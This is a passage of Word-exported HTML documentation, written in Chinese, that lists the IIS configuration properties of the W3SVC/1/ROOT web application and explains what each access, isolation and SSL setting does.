<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AppIsolated = 2<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性指出应用程序是在进程内、进程外还是在进程池中运行。值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 0 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示应用程序在进程内运行，值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 1 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示进程外，值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 2 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示进程池。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AppPackageID =<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">为事务提供</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序标识符</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (ID)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。此</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ID </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在由组件服务管理的所有事务中使用。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AppPackageName =<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">为事务提供</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序名。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AppRoot = /LM/W3SVC/1/ROOT<SPAN style="mso-tab-count: 1"> </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包含到应用程序根目录的配置数据库路径。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Caption =<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">提供对象的一段简短文本描述（一行字符串）。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Description =<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">提供对象的一段较长文本描述。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">InstallDate =<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示安装对象的时间。缺少值并不表示对象没有安装。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Name = W3SVC/1/ROOT<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">定义了用来识别对象的标签。创建子类时，可以将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Name </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性改写为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Key </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Status =<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示对象当前状态。各种可操作的和不可操作的状态都可以被定义。可操作的状态为“正常”、“已降级”和“预见故障”。“预见故障”表示一个组件可能运行正常但预计很快会出现故障。例如，启用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> SMART </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的硬盘。还可指定不可操作的状态。这些状态为“错误”、“启动”、“停止”和“服务”。后者（即“服务”）可用于磁盘镜像过程、重新加载用户权限列表或其他管理作业。并不是所有这类作业都联机；所以，被管理的组件不是“正常”状态或处于任何其他状态。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Read/Write properties of W3SVC/1/Root:<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可读</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">/</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可写</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessExecute = False<SPAN style="mso-tab-count: 1">&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示不论文件类型是什么，文件或文件夹的内容都可以执行。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessFlags = 513<SPAN style="mso-tab-count: 1"> </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包含有用于配置文件访问权限的标志</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessNoPhysicalDir = False</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessNoRemoteExecute = False<SPAN style="mso-tab-count: 1"> </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示拒绝远程请求执行应用程序；如果将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessExecute </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，只有来自</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器所在的相同计算机的请求才会成功。您不能将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessNoRemoteExecute </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来启用远程请求，或将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessExecute </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来禁止本地请求。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessNoRemoteRead = False<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示拒绝远程请求查看文件；如果将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessRead </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，只有来自</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器所在的相同计算机的请求才会成功。您不能将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessNoRemoteRead </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来启用远程请求，或将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessRead </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来禁止本地请求。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessNoRemoteScript = False<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示拒绝远程请求查看动态内容；如果将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessScript </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，只有来自</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器所在的相同计算机的请求才会成功。您不能将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessNoRemoteScript </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来启用远程请求，或将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessScript </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来禁止本地请求。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessNoRemoteWrite = False<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示拒绝远程请求创建或更改文件；如果将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessWrite </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，只有来自</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器所在的相同计算机的请求才会成功。您不能将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessNoRemoteWrite </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来启用远程请求，或将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessWrite </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来禁止本地请求。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessRead = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示可通过</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Microsoft Internet Explorer </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">读取文件或文件夹的内容。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessScript = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPA, N lang=EN-US ,><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示如果是脚本文件或静态内容，则可以执行文件或文件夹的内容。值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">只允许提供静态文件，如</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HTML </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessSource = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示如果设置了读取或写入权限，则允许用户访问源代码。源代码包括</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Microsoft® Active Server Pages (ASP) </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序中的脚本。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessSSL = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示文件访问需要带有或不带有客户端证书的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> SSL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件权限处理。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessSSL128 = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示文件访问需要至少</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 128 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">位密钥、带有或不带有客户端证书的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> SSL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件权限处理。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessSSLFlags = 0<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">默认值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 0 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示未设置任何</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> SSL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">权限。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体">AccessSSLMapCert = False<SPAN style="mso-tab-count: 1">&nbsp; </SPAN></SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">值</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"> true </SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">表示</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"> SSL </SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">文件权限处理将客户端证书映射到</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"> Microsoft Windows® </SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">操作系统的用户帐户上。要实现映射，必须将</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"> AccessSSLNegotiateCert </SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">属性设置成</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"> true</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">。</SPAN></P><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AccessSSLNegotiateCert = False<SPAN style="mso-tab-count: 1">&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> SSL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件访问处理从客户端请求证书。值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示如果客户端没有证书，仍可继续访问。如果服务器请求证书但证书不可用（即使也将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AccessSSLRequireCert 